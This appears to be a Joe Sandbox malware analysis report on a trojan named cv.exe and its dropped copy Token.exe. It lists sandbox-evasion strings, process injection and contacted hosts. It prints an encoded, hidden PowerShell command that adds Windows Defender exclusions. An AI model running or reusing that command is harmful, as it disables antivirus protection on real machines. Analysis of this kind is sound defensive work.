Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1234093728qemu
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Fzk~c.)vmci
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VirtualMachineDetector
Source: Token.exe, 00000010.00000002.2679366901.00000000063E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\m
Source: cv.exe, 00000000.00000002.2060541104.0000000006AD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: pLaMc[oQtAlVmCi.a
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware sata5vmware usb pointing device-vmware vmci bus deviceCvmware virtual s scsi disk device
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1474865605QEMU
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 77930674-vmware pointing device
Source: cv.exe, 00000000.00000002.2032624831.00000000011DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc
Source: Token.exe, 00000010.00000002.2630127865.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ecimbztDWmcoErDtlvmcigatana
Source: Token.exe, 00000010.00000002.2630127865.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtools
Source: Token.exe, 00000010.00000002.2715004394.000000000A600000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxservicevbox)Microsoft Virtual PC
Source: Token.exe, 00000010.00000002.2683382062.0000000007021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: am`ioatplamcioatplamcioatplamcioatplamcioatplamcioatplamciuatpdamcdoatblampioatplafciojtplamci\|atpdamcgoat}lam`ioa\|pla\|cioetplcmci\|atpbamcxoathlamyioatplawciomtplamcigatpaamcloatxlamhioapplawcio{tplmmcikatp~amc{oatplameioapplawcioatpl{mcihatpbamc{oatclamkioayplancioetplvmciuatplamcsoatelamoioanplawcioitpllmci}atp
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VirtualMachine

Source: C:\Users\user\Desktop\cv.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\cv.exe

Code function: 5_2_053A386B LdrInitializeThunk,

5_2_053A386B

Source: C:\Users\user\Desktop\cv.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\cv.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: unknown

Encrypted powershell cmdline option found

Source: unknown

Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\brok\AppData\Local,C:\Users\brok\AppData\Local\Temp\; Add-MpPreference -ExclusionProcess Token.exe;

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\cv.exe	Memory written: C:\Users\user\Desktop\cv.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory written: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\cv.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process created: C:\Users\user\Desktop\cv.exe "C:\Users\user\Desktop\cv.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process created: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe "C:\Users\user\AppData\Local\AllData\egsflr\Token.exe"

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -executionpolicy bypass -windowstyle hidden -noprofile -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagiacgbvagsaxabbahaacabeageadabhafwatabvagmayqbsacwaqwa6afwavqbzaguacgbzafwaygbyag8aawbcaeeacabwaeqayqb0ageaxabmag8aywbhagwaxabuaguabqbwafwaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabuag8aawblag4algblahgazqa7aa==

Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Users\user\Desktop\cv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Queries volume information: C:\Users\user\Desktop\cv.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Queries volume information: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe VolumeInformation
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\cv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\cv.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Source: C:\Users\user\Desktop\cv.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Directory queried: C:\Users\user\Documents

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	11 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	LSASS Memory	123 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	1 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	111 Process Injection	2 Software Packing	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
cv.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.Pretoria
cv.exe	100%	Avira	HEUR/AGEN.1304624
cv.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	100%	Avira	HEUR/AGEN.1304624
C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.Pretoria

Source	Detection	Scanner	Label
http://schemas.mic	0%	Avira URL Cloud	safe
https://www.anon.com/frit/asfta.dara	0%	Avira URL Cloud	safe
http://schemas.microsof	0%	Avira URL Cloud	safe
http://ns.microsofo/1.2/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
i.ibb.co	91.134.10.168	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.6.dr	false		high
http://schemas.mic	cv.exe, 00000005.00000002.2097055052.0000000005E35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	cv.exe, Token.exe.5.dr	false		high
https://stackoverflow.com/q/14436606/23354	cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	cv.exe, Token.exe.5.dr	false		high
http://ocsp.sectigo.com0	Token.exe.5.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	cv.exe, Token.exe.5.dr	false		high
https://github.com/mgravell/protobuf-net	cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	cv.exe, Token.exe.5.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://purl.oen	Token.exe, 00000010.00000002.2713844130.0000000009294000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.adobe.co	ReaderMessages.4.dr	false		high
http://crl.m	powershell.exe, 0000000E.00000002.2230274239.00000170BE2D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://i.ibb.co	cv.exe, 00000000.00000002.2034517758.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Token.exe, 00000010.00000002.2637083243.0000000002971000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	cv.exe, Token.exe.5.dr	false		high
https://stackoverflow.com/q/11564914/23354;	cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.anon.com/frit/asfta.dara	cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000000E.00000002.2124750694.00000170A5C81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	cv.exe, 00000000.00000002.2034517758.0000000003001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2124750694.00000170A5C81000.00000004.00000800.00020000.00000000.sdmp, Token.exe, 00000010.00000002.2637083243.0000000002971000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.microsofo/1.2/	cv.exe, 00000000.00000002.2079533617.0000000008680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microsof	cv.exe, 00000005.00000002.2098567404.0000000005F82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.134.10.168	i.ibb.co	France		16276	OVHFR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574667
Start date and time:	2024-12-13 13:26:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cv.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@27/61@2/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 94% Number of executed functions: 191 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.144, 2.22.50.131, 23.218.208.137, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 23.195.39.65, 199.232.210.172, 23.32.239.56, 2.19.198.27, 104.122.212.204, 184.30.20.134, 23.32.239.9, 23.32.239.65, 2.19.198.16, 20.109.210.53, 23.218.208.109, 18.213.11.84
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ssl.adobe.com.edgekey.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 6032 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: cv.exe

Simulations

Behavior and APIs

Time	Type	Description
07:27:23	API Interceptor	86x Sleep call for process: cv.exe modified
